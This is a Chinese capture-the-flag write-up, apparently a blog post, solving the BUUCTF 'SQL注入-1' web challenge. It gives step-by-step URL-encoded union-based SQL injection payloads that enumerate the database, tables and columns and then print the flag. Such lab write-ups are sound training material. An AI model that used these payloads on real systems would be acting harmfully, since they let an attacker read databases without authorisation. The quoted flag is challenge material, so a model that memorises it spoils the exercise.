BUUCTF-wp-[第一章 web入门]SQL注入-1


又是一个小小的分享,display()
进入页面后使用最经典的单引号判断法返回与id=1时不同的错误信息,便可以得知此题存在sql注入
在这里插入图片描述

然后通过如下操作可判断其是个字符型注入
此处的判断对于此题有点冗余,两种注入的差别并不大

id=1%27%20and%201=1%20%23

id=1%27%20and%201=2%20%23

第一个返回正确信息,第二个出现错误信息note

开始进行注入

get基于报错的注入,首先通过order by判断字段名

id=1%27%20order%20by%204%20--+%20qwer

在这里插入图片描述

id=1%27%20order%20by%203%20--+%20qwer

在这里插入图片描述

3时返回正确信息,即可得出字段名为3

利用union select 联合查询,查询字段

id=0%27%20union%20select%201,2,3%20--+

在这里插入图片描述

这里注意单引号前闭合的是一个不返回正确信息的数字
因为在后台sql中为

select * from *** where id = 1

被闭合,显然是永真的,会一直返回正确信息,无法执行后续sql语句

确定好位置后,利用union select 联合查询,获取数据库名

id=0%27%20union%20select%201,database(),3%20--+qwer

在这里插入图片描述

得到数据库名后进行爆表,得到表名

id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27note%27%20--+%20qwer

在这里插入图片描述

得到表名后进行爆列

id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%20--+%20qwer

在这里插入图片描述

爆列完成后查看记录

id=0%27%20union%20select%201,group_concat(fllllag%20),3%20from%20fl4g%20--+%20qwer

在这里插入图片描述

即可得出flag
n1book{union_select_is_so_cool}
最后再插入一个MySql数据库元信息,让大家明白这个联合查询中不断向下的原理
在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Acco_30_L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值